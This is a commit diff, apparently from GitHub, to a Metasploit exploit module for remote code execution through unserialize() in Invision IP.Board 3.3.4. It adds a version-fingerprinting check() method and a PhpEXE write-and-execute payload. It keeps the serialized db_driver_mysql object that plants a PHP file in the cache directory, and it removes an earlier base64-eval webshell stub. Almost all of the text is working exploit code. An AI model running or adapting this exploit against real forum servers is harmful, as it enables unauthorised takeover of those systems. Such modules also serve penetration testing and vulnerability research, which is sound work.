@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
11
11
Rank = ExcellentRanking
12
12
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
+ include Msf ::Exploit ::PhpEXE
14
15
15
16
def initialize ( info = { } )
16
17
super ( update_info ( info ,
@@ -25,13 +26,13 @@ def initialize(info = {})
25
26
__destruct() method from the dbMain class to write arbitrary PHP code to a file on
26
27
the Invision IP.Board web directory.
27
28
28
- The exploit has been tested successfully on Ubuntu 10.04 and Invision IP.Board
29
- 3.3.4.
29
+ The exploit has been tested successfully on Invision IP.Board 3.3.4.
30
30
} ,
31
31
'Author' =>
32
32
[
33
- 'EgiX' , # Vulnerability discovery and PoC
34
- 'juan vazquez' # Metasploit module
33
+ 'EgiX' , # Vulnerability discovery and PoC
34
+ 'juan vazquez' , # Metasploit module
35
+ 'sinn3r' # PhpEXE tekniq & check() method
35
36
] ,
36
37
'License' => MSF_LICENSE ,
37
38
'References' =>
@@ -47,19 +48,48 @@ def initialize(info = {})
47
48
'Arch' => ARCH_PHP ,
48
49
'Payload' =>
49
50
{
50
- 'DisableNops' => true ,
51
+ 'Space' => 8000 , #Apache's limit for GET
52
+ 'DisableNops' => true
51
53
} ,
52
54
'Targets' => [ [ 'Invision IP.Board 3.3.4' , { } ] ] ,
53
55
'DefaultTarget' => 0 ,
54
56
'DisclosureDate' => 'Oct 25 2012'
55
57
) )
56
58
57
- register_options (
58
- [
59
- OptString . new ( 'TARGETURI' , [ true , "The base path to the web application" , "/forums/" ] )
60
- ] , self . class )
59
+ register_options (
60
+ [
61
+ OptString . new ( 'TARGETURI' , [ true , "The base path to the web application" , "/forums/" ] )
62
+ ] , self . class )
63
+ end
64
+
65
+ def base
66
+ base = target_uri . path
67
+ base << '/' if base [ -1 , 1 ] != '/'
68
+ return base
61
69
end
62
70
71
+ def check
72
+ res = send_request_raw ( { 'uri' => "#{ base } index.php" } )
73
+ return Exploit ::CheckCode ::Unknown if not res
74
+
75
+ version = res . body . scan ( /Community Forum Software by IP\. Board (\d +)\. (\d +).(\d +)/ ) . flatten
76
+ version = version . map { |e | e . to_i }
77
+
78
+ # We only want major version 3
79
+ # This version checking is based on OSVDB's info
80
+ return Exploit ::CheckCode ::Safe if version [ 0 ] != 3
81
+
82
+ case version [ 1 ]
83
+ when 1
84
+ return Exploit ::CheckCode ::Vulnerable if version [ 2 ] . between? ( 0 , 4 )
85
+ when 2
86
+ return Exploit ::CheckCode ::Vulnerable if version [ 2 ] . between? ( 0 , 3 )
87
+ when 3
88
+ return Exploit ::CheckCode ::Vulnerable if version [ 2 ] . between? ( 0 , 4 )
89
+ end
90
+
91
+ return Exploit ::CheckCode ::Safe
92
+ end
63
93
64
94
def on_new_session ( client )
65
95
if client . type == "meterpreter"
@@ -75,12 +105,20 @@ def on_new_session(client)
75
105
end
76
106
77
107
def exploit
78
- base = target_uri . path
79
- base << '/' if base [ -1 , 1 ] != '/'
80
108
@upload_php = rand_text_alpha ( rand ( 4 ) + 4 ) + ".php"
81
109
@peer = "#{ rhost } :#{ rport } "
82
110
83
- php_payload = "<?eval(base64_decode($_SERVER[HTTP_CMD]));?>"
111
+ # get_write_exec_payload uses a function, which limits our ability to support
112
+ # Linux payloads, because that requires a space:
113
+ # function my_cmd
114
+ # becomes:
115
+ # functionmy_cmd #Causes parsing error
116
+ # We'll have to address that in the mixin, and then come back to this module
117
+ # again later.
118
+ php_payload = get_write_exec_payload ( :unlink_self => true )
119
+ php_payload = php_payload . gsub ( /^\< \? php/ , '<?' )
120
+ php_payload = php_payload . gsub ( / / , '' )
121
+
84
122
db_driver_mysql = "a:1:{i:0;O:15:\" db_driver_mysql\" :1:{s:3:\" obj\" ;a:2:{s:13:\" use_debug_log\" ;i:1;s:9:\" debug_log\" ;s:#{ "cache/#{ @upload_php } " . length } :\" cache/#{ @upload_php } \" ;}}}"
85
123
86
124
print_status ( "#{ @peer } - Exploiting the unserialize() to upload PHP code" )
@@ -99,14 +137,7 @@ def exploit
99
137
100
138
print_status ( "#{ @peer } - Executing the payload #{ @upload_php } " )
101
139
102
- res = send_request_cgi (
103
- {
104
- 'method' => 'GET' ,
105
- 'uri' => "#{ base } cache/#{ @upload_php } " ,
106
- 'headers' => {
107
- 'Cmd' => Rex ::Text . encode_base64 ( payload . encoded )
108
- }
109
- } )
140
+ res = send_request_raw ( { 'uri' => "#{ base } cache/#{ @upload_php } " } )
110
141
111
142
if res
112
143
print_error ( "#{ @peer } - Payload execution failed: #{ res . code } " )
0 commit comments